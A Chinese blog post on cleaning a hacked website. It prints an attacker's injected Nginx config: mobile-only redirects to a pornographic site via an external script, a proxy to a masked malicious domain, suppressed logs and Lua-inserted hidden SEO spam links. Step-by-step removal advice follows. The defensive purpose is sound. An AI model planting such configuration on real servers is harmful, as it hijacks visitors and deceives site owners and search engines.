网站被黑，文件访问，手机端就会跳出黄色网站。
off999 2025-10-02 06:04 30 浏览 0 评论
下面是黑客窜改的代码：
location ~* /.*am.* {
set $mobile 0;
if ($http_user_agent ~* '(Android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini)') {
set $mobile 1;
}
if ($http_user_agent ~* 'Baiduspider') {
set $mobile 0;
}
if ($request_uri ~* ".*am.*") {
set $mobile "${mobile}1";
}
if ($mobile = "11") {
add_header Content-Type "text/html";
return 200 '<!DOCTYPE html><html><head><meta charset="utf-8"></head><body><script src="被挂上的HS网站.js"></script></body></html>';
}
rewrite ^ /news.php?lj=$request_uri&hh=$remote_addr&ym=$host break;
proxy_pass http://mulucdn1.XXXXXXX.com;
proxy_set_header Host mulucdn1.XXXXXX.com;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $host;
access_log /dev/null;
error_log /dev/null;
}
set_by_lua $pkac '
local rank_str = [[<div style="width: 2px; height: 2px: 0;display: none !important;visibility: hidden !important;">]]
local huozui = {".shtml",".html"}
local pdir = {"amxw"}
local ldir = {"news","show","info","read","list"}
math.randomseed(os.time())
for i=1,10 do
rank_str=rank_str..[[<a href="/]]..pdir[math.random(#pdir)]..[[/]]..math.random(100000, 99999999)..huozui[math.random(#huozui)]..[["></a>]]
end
rank_str=rank_str..[[</div>]]
local useragent = ngx.var.http_user_agent
local req_uri = ngx.var.request_uri
if string.find(req_uri, "fy") then
return ""
end
if ngx.var.spider == "01" or ngx.var.spider == "012" then
return rank_str
else
return ""
end';
sub_filter '</head>' '${pkac}</head>';
你提供的这段代码，就是直接导致网站跳黄色网站的恶意配置！里面藏了多个 “陷阱”，咱们一点点拆穿，然后彻底删除：
一、先看懂这些恶意代码在做什么（3 个关键陷阱）
- “条件跳转陷阱”（专门针对手机用户）：
- nginx
- # 当访问的URL包含"am"（比如xxx/amxxx），且是手机访问时 if ($mobile = "11") { # 直接返回那段带恶意脚本的HTML（就是你看到的跳转代码） return 200 '<!DOCTYPE html><html>...<script src="https://upload.XXXXX.com/a78.js"></script></body></html>'; }
- 这就是为什么手机访问时会跳黄色网站的直接原因！
- “偷偷转发陷阱”：
- nginx
- proxy_pass http://mulucdn1.XXXXXX.com; # 把请求转发到恶意域名 proxy_set_header Host mulucdn1.XXXXXX.com;
- 即使不触发上面的条件，也会把访问偷偷转发到恶意网站，相当于 “双重保险” 让你跳走。
- “页面污染陷阱”（用 Lua 代码插入垃圾链接）：
- 那段set_by_lua代码会在网页里偷偷插入大量隐藏的恶意链接（比如/amxw/123456.html），目的是污染你的网站内容，甚至可能被搜索引擎惩罚。
二、解决步骤：彻底删除这些恶意代码（按步骤来，超简单）
这些代码肯定藏在某个 Nginx 配置文件里（之前提到的extension文件夹里的.conf，或uwsgi_params.conf），按下面步骤找出来删掉：
第一步：找到包含这些恶意代码的文件
- 打开宝塔→「文件」；
- 按之前的路径找最可能的地方：优先查：/www/server/panel/vhost/nginx/extension/www.*****你的网站网址***.com/（里面的所有.conf 文件）；其次查：/www/server/nginx/conf/uwsgi_params.conf（之前日志报错的文件）；
- 每个文件点「编辑」→按「Ctrl+F」搜 “XXXXXX.com”（一秒定位恶意代码）。
第二步：删除所有恶意代码（关键！别留任何一句）
找到包含上面代码的文件后，删除以下所有内容：
- 整个location ~* /.*am.* { ... }块（从location ~* /.*am.* {开始，到对应的}结束，包括里面的所有代码）；
- 整个set_by_lua $pkac '...';行（就是那段带 Lua 代码的长句子）；
- 最后一行sub_filter '</head>' '${pkac}</head>';（这行在偷偷改你的网页内容）。
删完后，文件里应该看不到任何 “XXXXXX.com”“XXXX.js”“XXXXXXX” 相关的内容。
第三步：保存并重启，验证效果
- 删完后点「保存」；
- 宝塔→「服务」→重启「Nginx」和「PHP-8.2」；
- 用手机「无痕模式」访问之前的 CSS 链接，以及任何带 “am” 的 URL（比如假设你的网站有xxx/amxxx路径）：正常情况下，会显示你的网站内容，不再跳黄色网站；查看网页源代码（手机浏览器里点「查看源代码」），也不会有<script src="https://upload.XXXXXX.com/a78.js"></script>这段代码了。
三、最后检查：确保没有漏网之鱼
黑客可能在多个文件里加了类似代码，再做一次全局搜索：
- 宝塔→「文件」→进入你的网站根目录或 Nginx 配置目录；
- 点「搜索」→搜内容 “XXXXXX.com”→范围选 “所有子目录”；
- 任何搜到的文件，都按第二步的方法删除恶意代码，确保彻底清除。
这些代码就是导致跳转的 “罪魁祸首”，只要彻底删除，问题就能解决！如果找不到文件或不确定删哪些，截个图把文件内容发给我，我帮你标出来～
相关推荐
- 系统错误怎么解决（微信系统错误怎么解决）
-
1、最后一次正确的配置：在开机启动未进入到操作系统之前我们按下F8键，选择“最后一次正确的配置”然后回车即可。此方法只能解决因出现配置问题进不了系统的情况（例如更换新硬件或加载新驱动后造成的蓝屏），由...
-
- 电脑自带的防火墙怎么关（电脑的防火墙如何关闭）
-
点击开始，点击设置，进入设置后我们可以直接在上方的搜索框中直接搜索【defender】，就会弹出防火墙。点击进入防火墙后，在左侧的列表中找到【启用或关闭Windowsdefender防火墙】，并且点击进入。进入后，就可以自行关闭所有的防...
-
2025-12-18 03:03 off999
- 光猫和路由器哪个网速快（光猫网速快还是路由器网速快）
-
两个都快。这要从两个设备的功能说起。光猫是把光信号转变成数字信号的一种设备，随着光猫技术的发展，现在光猫也集成了路由器的功能，也带有有线和无线，只要有光纤加上光猫，就可以实现有线或者无线上网。路由器的...
- 台式电脑运行一段时间就死机
-
1、散热不良：显示器、电源和CPU工作时间太长会导致死机，给风扇除尘，上油。2、灰尘杀手：机器内灰尘过多也会引起死机故障。定期清洁机箱。3、内存条故障：主要是内存条松动，内存芯片本身质量所致，应根...
- 高清windows免费版观看（高清windows免费版观看网站）
-
方法一：1、右键单击开始菜单----运行2、在运行对话框中输入：devmgmt.msc，展开：显卡适配器，右击所列的显卡适配器，点击卸载。3、卸载后重新安装兼容Win10的显卡驱动，建议去官方下载...
- h3c官网（H3C官网登录账号）
-
1H3C防火墙官网是存在的，可以通过搜索引擎或输入官方网址进行访问。2H3C防火墙官网提供了产品信息、技术支持、解决方案和服务支持等各种资源，帮助用户全面了解和使用H3C防火墙产品。同时，还有在线...
- 系统流小说下载（系统流小说大全完本）
-
全能奇才、末世之兑换高手、穿越之兑换无敌、：重生之我能升级、重生之模拟游戏、超级物品、戒指也疯狂、全职天才、疯狂道具、星戒、超级游戏分身、重生之神才风流、全能闲人、逆天作弊器之超级游戏、宅男之游戏人生...
- win7网络设置初始化（win7网络设置初始化方法）
-
1、首先在操作系统桌面上，点击左下角开始按钮选择控制面板选项进入。2、进入控制面板主界面，点击查看方式下拉按钮选择大图标进入。3、切换至所有控制面板项，点击恢复选项进入。4、进入恢复界面，点击高级恢复...
- 家用笔记本电脑哪个牌子实惠又好用
-
在用机械革命s1pro键盘不好用，录音功能不好用，其它还行吧一分价钱一分货清华同方品牌的笔记本最便宜，然14最大的特点就是便宜，仅售3000元，属于新品笔记本中的超低价位。屏幕方面，熟悉的1080p...
- 免费使用的数据恢复软件（真正的免费的数据恢复软件）
-
1、在误删除数据后，无论是硬盘、U盘、SD卡还是其他存储设备，最好马上停止写入新的数据，保持现状，然后找适当的数据恢复软件进行恢复。请勿使用非专业软件，以免导致文件彻底无法恢复！ 2、在误删除数据后...
- 感冒流鼻涕怎么办最简单方法
-
由于受凉感冒引起鼻腔腺体分泌旺盛导致鼻涕增多，建议在医生指导下使用玉屏风颗粒口服治疗促进恢复正常，可以进食鼻腔腺体分泌，改善流鼻涕，打喷嚏症状，另外注意保暖，不要进食辛辣刺激性食物，避免疲劳，多食用容...
- tp路由器无线设置最佳参数（tp-link路由器网络参数怎么设置）
-
1，在浏览器中输入192.168.1.1，进入后台管理，输入用户名和密码登录。2，先连接外网。在左边选择“网络参数”下的“WAN口设置”。3，并在右边选择一种网络方式,如“PPPOE”并输入帐号和密码...
- amd的cpu天梯图（amd全系列cpu天梯图）
-
低压版最高端是“FX-7500”，四核心，4MB二级缓存，CPU频率为2.1-3.3GHz，RadeonR7GPU六个计算单元384个流处理器，频率496-553MHz，内存支持DDR3-1600...
- 免费恢复微信好友软件（免费恢复微信好友软件哪个好用）
-
1.不存在免费的微信找回删除好友软件。2.因为微信的好友删除是一种数据操作，需要访问微信服务器上的数据，而微信官方并没有提供找回删除好友的功能，所以任何软件都无法实现这个功能。此外，使用未知来源的...
- 台式电脑突然断电后无法开机
-
首先，突然断电导致电脑不能正常开机，并不一定是系统故障，根据以下的方法进行排除。1、在断开电源的前提条件下，打开主机箱侧盖将内存条取下来，更换内存安装插槽的位置。2、找到主板电池，并且将主板电池取下来...
欢迎 你 发表评论:
- 一周热门
-
-
抖音上好看的小姐姐，Python给你都下载了
-
全网最简单易懂!495页Python漫画教程，高清PDF版免费下载
-
Python 3.14 的 UUIDv6/v7/v8 上新，别再用 uuid4 () 啦!
-
飞牛NAS部署TVGate Docker项目，实现内网一键转发、代理、jx
-
python入门到脱坑 输入与输出—str()函数
-
宝塔面板如何添加免费waf防火墙?（宝塔面板开启https）
-
Python三目运算基础与进阶_python三目运算符判断三个变量
-
(新版)Python 分布式爬虫与 JS 逆向进阶实战吾爱分享
-
失业程序员复习python笔记——条件与循环
-
系统u盘安装（win11系统u盘安装）
-
- 最近发表
- 标签列表
-
- python计时 (73)
- python安装路径 (56)
- python类型转换 (93)
- python进度条 (67)
- python吧 (67)
- python的for循环 (65)
- python格式化字符串 (61)
- python静态方法 (57)
- python列表切片 (59)
- python面向对象编程 (60)
- python 代码加密 (65)
- python串口编程 (77)
- python封装 (57)
- python写入txt (66)
- python读取文件夹下所有文件 (59)
- python操作mysql数据库 (66)
- python获取列表的长度 (64)
- python接口 (63)
- python调用函数 (57)
- python多态 (60)
- python匿名函数 (59)
- python打印九九乘法表 (65)
- python赋值 (62)
- python异常 (69)
- python元祖 (57)